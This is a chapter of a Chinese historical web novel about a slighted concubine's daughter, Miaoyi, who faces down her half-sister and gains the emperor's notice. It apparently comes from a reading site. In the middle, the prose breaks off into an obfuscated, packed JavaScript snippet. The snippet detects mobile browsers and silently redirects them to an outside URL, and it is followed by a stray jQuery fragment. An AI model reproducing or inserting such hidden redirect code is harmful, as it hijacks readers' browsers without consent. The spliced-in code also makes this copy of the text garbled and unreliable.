默认冷灰
24号文字
方正启体

9. 雪向梅花枝上堆(9)

作者:璞蘅本书字数:K更新时间:
    天子离去后,妙仪在云英阁中呆坐半晌,到底失去了读书的兴致,便熄了火炉下阁。


    虽那般果决地拒了天子的施恩,走在路上却忍不住将两人对谈的一字一句反复琢磨。一时觉得自己并无犯错,一时又怀疑是否错失了唯一的机会。


    走走停停间,一对金丝绣鞋踏进妙仪眼前雪地,挡住了她的去路。


    “你是哪处的侍女,我怎从未见过?”熟悉而陌生的声音从头顶飘落。


    妙仪顿了顿,抬起头来。


    谢娉容俏生生站在她眼前,愕然掩唇:“妙仪妹妹,怎会是你?”


    “这大雪天的,竟也不穿件披风,怎么就这样出来了?”她语中颇有关怀之意,眼中却满是掩不住的讥诮,“穿成这个样子,我还当是哪来的侍女呢!”


    妙仪早已不穿单薄的曲裾深衣,从前她深居院中,见不了几次外人,纵是冬日里只有单衣可穿,也无人知晓。但自从被王氏召去教导后,在后宅露面的次数也频繁起来。


    许是出身之故,王氏向来憎恶旁人议论,深恐此事为人知晓,更宣扬出去,堕了她“慈母”之名,便开始琢磨着给妙仪两身冬衣。


    只是年关已过,春日渐近,再叫人裁制新衣已是赶不及,而王氏自己与爱女的旧时衣裳是决计不愿送予妙仪穿的。


    于是,最终妙仪所得的便是几身侍女的衣衫。


    “是呢!”贴身侍女亦掩唇轻笑,“不过照奴婢看来,二女公子穿着这身衣裳真好看,远比锦绣罗衣衬二女公子得多!”


    这话就是明晃晃在羞辱妙仪只配做个侍女了。


    阿婵听得浑身哆嗦,死死咬住嘴唇,担忧地望向妙仪。


    却见她面色沉静如常,更似秋月凝霜,片刻莞尔微笑道:


    “此衣乃母亲大人所赐。‘长者赐,不敢辞’,长姐身为父亲嫡长女,兼有谢王两家血脉,竟连这个道理都不懂得么?”


    对妙仪而言,如何活下去,是头一等要紧事,沉浸于过往伤痛之中于如今的她并无益处。


    未见谢娉容前,许多痛苦,许多不甘被她强行压下,然正如腐疮不治,任其发展,只会烂及骨髓一般。


    此时见谢娉容与其侍女联袂现于眼前,妙仪心头怒火顿时翻涌,再不可遏。


    故而,她开口时也没想着掩饰自己话中的嘲讽。


    谢娉容不学无术,说得太过隐蔽,若她听不出来,反是白费口舌。


    果然谢娉容面色大变。


    她身为父母老来女,自打出生就独得父母兄长宠爱,又是天子表妹,放眼整个洛都,无有贵女敢掠其锋芒。


    她从未想过竟有一日会被人当面顶撞乃至嘲讽。


    偏偏那人还是夺走了父亲宠爱的“娼/妓之女”。


    “谢妙仪,你好大的胆子!”谢娉容气得面色通红,“我年长于你,你竟敢忤逆我?!往日看你不修女德,我总以为你年纪尚有,又从乡野回来,到底是轻纵了你,才养成你如今目无尊长的样子。今日,看来我这个长姐也不得不代母亲教教你什么叫规矩了!”


    她话音未落,侍女已走近妙仪,笑着口称“失礼”,便伸手要来擒住妙仪双臂。


    妙仪躲也不躲,单手擒住她的手腕,反手将人摔进雪地里。


    “便是你想做第二个王媪,我也不愿再造杀业。”妙仪居高临下凝视着她,神情冷冽。


    侍女未想到妙仪竟敢反抗,起初得嚣张气焰为她一压,冷不丁就觉得自己矮了一截,再听她话语越发生出怯懦之心,捧着脱臼的手腕,灰溜溜缩回谢娉容身旁。


    妙仪后退一步,目视谢娉容:“小妹自然是乡野村妇,不若长姐一般金尊玉贵。这双手多年来劈柴、担水、撑船、播种,亲搭草庐,开垦田地,实是粗糙不堪,还是莫要触碰得好。”


    谢娉容瞪视着妙仪,忽然勾了勾唇角:“到底你也知自己的身份。说来也是,若非你长在乡野,自甘卑贱,又怎么会心安理得地为人妾室呢?”


    “我若是你,要给那五十多岁的光禄勋卿做妾,早一头碰死了。不过想来也是,如你一般浅鄙之人,哪知道真正的富贵?又哪有什么高门大户看得上你呢?光禄勋卿能赏脸让你做他的妾室,已是你毕生幸事了!”


    “长姐之语妙仪不懂。”妙仪道,“从前在乡间便常听人说''父母之名,媒妁之言'',又听说''身体发肤受之父母''。如今听长姐一语,倒觉得那些田俚小民所知大大有误。原来身体能够随意损伤,父母定下的婚事也可尽由自己品评,而朝廷命官、当今九卿的年岁落在长姐口中,也不过区区谈资而已。”


    若说先前几句不过在指责谢娉容礼数不佳,如今便是将“不孝父母”“不敬高官”四字明晃晃道出。谢娉容面色一白,仍强自冷笑:


    “你配提‘父母之命媒妁之言’?!也配将我阿母称为母亲么?!你的母亲是那肮脏不堪的烟花女子。而你、你从那个贱、妇肚子里爬出来,又能是什么贞洁货色?听说你在那乡下地方,天天与一帮臭烘烘的和尚厮混,后来,还不顾羞耻居住在乡间,与那些贩夫走卒比邻而居呢!”她与侍女高声调笑,“我看啊,你成日里病歪歪的,恐怕生的压根不是什么风寒,说不准是脏病呢!”


    妙仪面色不改,平静微笑:“我病在身,长姐病在心。身病亦治,心病么……神仙难救。”


    谢娉容冷笑登时僵在脸上,阿婵本就欲伺机相助妙仪,此时忙不迭拦住谢娉容:“长女公子,二女公子说得有理,此事不可胡说啊……”


    “啪——”的一声,阿婵脸颊登时浮现出鲜红的指痕。


    “吃里扒外的东西!”谢娉容眯起眼,厉声质问,“她是你哪门子‘女公子’,你要这么上赶着讨好她?!”


    妙仪本已踏出脚去,见此情形反而顿住:“……我听闻母亲乃陛下亲口所赞‘烈女节妇'',素日更是体恤仆妇,在洛都之中大有贤德之名。长姐身为母亲亲女,想来事事效仿母亲,今日言行当真是振聋发聩,妙仪受教。”


    “你、你敢威胁于我?”谢娉容气得额头发紧。


    侍女也怕出事,强忍疼痛扯住谢娉容袖子:“女公子,事既已毕,咱们也该回房了。风大雪深,您千金之躯,莫要冻坏了。”说着,她向身后使了下眼色,压低声音道,“说不准马上有人经过……”


    谢娉容怒视她一眼:“我还用得着你来提醒?!”


    话虽如此,她心中到底有几分慌乱。


    谢娉容并非全然不知府中下人之间亦有暗流涌动,其中不乏受过王氏责打、怀恨在心之人。若妙仪将今日之事宣扬出去,有心人在其中推波助澜,不说谢瓒反应如何,若是一时不慎传出府外、乃至传到天子耳中,母亲的贤名、她的贞顺岂非皆成了笑话。


    自前朝来,能被选进宫中侍奉天子的女子皆以贤德闻名,谢娉容在天子面前压抑天性,装了多年知书识礼,贤德温婉。


    为了惩戒妙仪,反搭上自己的荣华富贵,实在是得不偿失。


    谢娉容拂了拂袖子,整顿仪容,然而到底未解气,盯着妙仪走上前来。


    “你倒是伶牙俐齿,也确实聪明,知道我动不了你。”谢娉容挨近妙仪耳畔,语中染上阴狠,“但你可别忘了,你身边的那个贱/婢……我惩治不了你,还惩治不了她么?”


    眼看妙仪那玉人一般端静漠然的面容逐渐变得苍白,纤薄的肩膀亦在寒风中颤抖。谢娉容大为畅意,最后瞪视她一眼,转身而走:


    “往后为人做事都当心些,莫教我不舒坦。否则——”


    “否则如何?”


    缥缈的声音如烟似雾般从身后传来,缠住谢娉容欲离去的脚步。


    “你们敢动她一下试试。”妙仪轻声道,“长姐常说我是‘乡野村妇’‘卑贱之人’?那长姐可知,乡野之中多得是你们这些权贵之人弃若敝屣的毒草毒虫?


    小妹尚未谢过母亲,费心为我备下庖厨近旁居所……往后,还盼你们时时刻刻小心入口之物。若是幽芳掉了一根头发,这阖府上下就别想安宁。”


    “长姐莫要以为我在玩笑,”妙仪勾了勾唇,“我说得出,做得到。”


    她说完,再不看谢娉容,掠过三人静静走入茫茫大雪之中。


    *


    日入之时,谢瓒终于乘犊车回到家中,掀开车帘,望见门楣时不禁深深叹了口气。


    他在兄弟间行三,谢家本轮不到他继承。然而永昌年间,身为卫尉的父亲与两位兄长见罪于先帝。一夜之间,谢瓒失去了三名家人,一夜之间,谢瓒也从一介白身摇身一变,成了如今的侍中、密县侯。


    世事不可不谓无常,朝夕之间物换星移。


    谢瓒背着手走向书房。


    时至今日,午夜梦回时谢瓒仍会见到年少时与父兄四人高歌宴饮时的情景。


    只是转念一想……当初若不出这档子事,这个书房便是属于长兄的,而他的几个子女又如何能有这般富贵尊崇的生活呢?


    倏忽间,席间二兄遗孀那苍白却强撑精神的脸又在眼前晃动。


    当初兄长们问斩,两名寡嫂皆出府别居,长嫂母家颇有产业,三年孝期满后便马不停蹄将女儿与外孙接回泰山娘家居住,二嫂出身小族,父母早亡,又无兄弟,只得独自抚养子女长成。


    今日,谢瓒便是去赴了这位二嫂第三个孙儿的周岁宴。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092069|195469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王氏自矜豪门贵女,家中更是殷实富贵,认为二嫂两样皆比她不如,年轻时便十分看不上二嫂的清高。今日席间更是丑态百出,恣意评论二嫂家器具不说,连其幼孙也要贬损一番,酒后更险些将娉容要为宫嫔之事大肆宣扬,幸得谢瓒在旁及时告退,才不致酿成祸端。


    他与王氏在众人面前演了大半天举案齐眉,心中倦怠不已,回到书房中,刚烹上茶,正欲挥毫泼墨,以解心头烦忧,忽然听到门外喧哗四起。


    “夫人、夫人,待奴婢先行通报主君再——”


    “混账!我是家中主母,这谢府哪有我不能去的所在!你算什么东西,也敢拦我?!”


    这妇人又在闹什么?


    谢瓒见王氏径自闯进书房中来,已是大为光火,方要开口呵斥,眼前案牍帛卷皆被其一把扫落地面。


    “谢瓒!这就是你与那贱、妇生的好女儿!”王氏气得胸口上下起伏,钗环散乱,“她竟然敢指责娉容无礼不孝,不堪为君妇!她哪来的脸面,竟敢数落我的女儿!”


    谢瓒冷冷注视着王氏,不屑道:“这又是娉容添油加醋之语,她不喜妙仪,自然口出恶言。”


    “我呸!凭她也配叫我娉容抹黑么?!你就是一味护着那贱、妇的女儿!”


    谢瓒扯唇:“难道我不知女儿性情?娉容与妙仪哪个跋扈,哪个温顺彼此有数,何必弄虚作假,引得彼此不快呢?”


    眼见王氏双眉怒扬,面色愈发赤红,他忍不住摇头,“我且问你,妙仪久在小院,素来安分守己,如何能得知娉容将做天子后妃?


    我素知汝才疏德薄,却不曾想,汝执掌中馈三十余年,竟连黑白都不分,当真可笑,可叹啊……”


    这话说得实在太过伤人。


    王氏也连连冷笑:“就当这话是娉容诓我,那也是她太过惶恐的缘故。你那女儿不知学了甚么腌臜手段,竟威胁娉容,说要往咱们吃食里下脏东西,还说什么……要叫咱们阖府不得安宁!”


    “为了一个小鬟,连父母的性命都要算计!你要她你就自己养!我是不敢要这样的女儿!”王氏说到此处,浑似全身力气被抽干,一下跪坐在谢瓒面前,哭天抢地,“我的娉容……被她吓得直哭……你到是镇日将孝悌伦理挂在口头,殊不知你那好女儿是天下头一等不孝不悌之人!这天底下哪有这样的规矩道理……”


    王氏性情刚烈,谢瓒数十年来少见其泪水,何况生死之事本就不详,如今新年时节,谅王氏不敢妄加谈论。


    谢瓒信了几分,面色也不好看起来:“她说出这样的话……可见这些年果真叫那些卑、贱小民给教坏了……”王氏呜咽之声不绝于耳,谢瓒越发心烦意乱,“别再哭了!还不快想想办法?妙仪这般品性,如何能侍奉王光禄?!”


    “我哪里还敢碰她?!谁知哪□□得她心生怨恨,一贴毒药就将我药死!”


    谢瓒急得跳脚:“胡说!她不过嘴上一说,哪里来的胆子和本事,又能从何处弄来药呢?!”


    争执之间,只听侍从曲滔在外叩门禀报道:“主君、夫人……郭常侍正在外候着……”


    二人声音一顿,不禁对视一眼,彼此眼中皆有惶恐之色,于是草草整理一番仪容,推门而出。


    天子身边共有六名中常侍,郭放侍奉最久也最得圣心。他身居黄门令一职,从来掌管禁中要务,轻易不会离开天子身畔。


    今日他竟亲自前来,必是有要旨传达。


    谢瓒一拱手:“郭常侍今日莅临前院,真叫寒舍蓬荜生辉呀!路远天寒,郭常侍一路辛苦,不如入内喝口热茶可好?”


    “谢侍中与夫人不必多礼。”郭放笑眯眯立在庭中,对两人狼狈形容不置一词:“传陛下口谕——”


    “赐谢府女公子《礼记》一卷。”


    王氏喜不自胜,当即拜倒:“妾身代小女谢过陛下恩典,陛下长乐无极。”


    谢瓒到底在朝为官多年,不如她一般喜形于色,一瞬的激动褪去后,疑惑便涌上心头。


    年节赏赐早在正旦当日便已赐下,如今并无特殊事态,天子何以又赏下东西来?


    何况谢娉容深闺娇女,天子素来赏些钗环首饰,再不然便是内造吃食,赏一本《礼记》……倒似是嘉奖朝中文臣。


    这是何道理?


    谢瓒心中有事,跪下去的动作便慢了些,尚未开口谢恩,又听郭放扬声道:


    “赐织室所出冬衣四件、太医院川穹膏、续断膏各一瓶,予谢府侍女。”郭放拍了拍手,身后侍立的两名小黄门捧着漆盒上前。


    “陛下说,谢侍中自然知晓那侍女究竟是哪一位。”郭放仍旧微笑,“谢侍中,领旨谢恩吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)